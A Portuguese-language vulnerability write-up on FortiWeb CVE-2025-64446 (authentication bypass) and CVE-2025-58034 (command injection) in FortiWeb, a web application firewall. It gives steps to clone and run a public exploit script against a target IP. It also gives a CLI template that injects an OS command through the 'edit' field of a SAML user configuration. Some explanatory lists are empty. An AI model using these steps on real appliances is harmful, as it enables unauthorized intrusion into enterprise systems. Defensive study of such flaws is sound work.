
Pesquisa de segurança sobre vulnerabilidades do Fortinet FortiWeb (CVE-2025-64446, CVE-2025-58034)
Fortinet FortiWeb é um dispositivo Web Application Firewall (WAF) amplamente implantado em sistemas empresariais para proteger aplicações web contra ameaças comuns.
Como o FortiWeb geralmente está localizado na camada de proteção central, vulnerabilidades relacionadas a autenticação ou execução de comandos do sistema operacional podem impactar severamente toda a infraestrutura por trás dele. Em 2025, duas vulnerabilidades críticas foram divulgadas no FortiWeb:
CVE-2025-64446 – Bypass de autenticação via Relative Path Traversal
CVE-2025-58034 – OS Command Injection em contexto autenticado
O CVE-2025-64446 decorre do fato de que o FortiWeb processa e verifica o caminho de acesso de forma não rigorosa antes de aplicar o mecanismo de autenticação.
Especificamente:
Esse erro leva a que alguns endpoints administrativos possam ser acessados sem autenticação válida.
O CVE-2025-58034 surge porque o FortiWeb processa dados de entrada do usuário de forma insegura durante a chamada de comandos do sistema operacional.
As principais causas incluem:
Essa vulnerabilidade requer contexto autenticado, mas ainda assim apresenta alto risco devido ao envolvimento de execução de comandos.
git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034 cd CVE-2025-64446_CVE-2025-58034
O ambiente virtual Python (venv) é usado para criar um ambiente de trabalho independente para cada projeto, ajudando a isolar as bibliotecas dependentes do sistema Python principal. Isso evita conflitos de versão de bibliotecas, garante a estabilidade do ambiente de trabalho e minimiza o impacto no sistema.
python3 -m venv venv source venv/bin/activate
pip install -r requirements.txt
python exploit.py <target_ip>

config user saml-user
edit "<YOUR COMMAND>"
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
A vulnerabilidade CVE-2025-58034 surge porque o FortiWeb não controla rigorosamente os dados de entrada em alguns campos de configuração, especialmente o valor passado pelo comando: edit "" Problema: Este valor é processado como uma string de configuração Em seguida, é inserido em comandos internos do sistema operacional Não é filtrado ou escapado adequadamente para caracteres especiais Isso leva à possibilidade de que os dados de configuração possam afetar diretamente o comando do sistema operacional executado, causando uma injeção de comando do sistema operacional (OS Command Injection).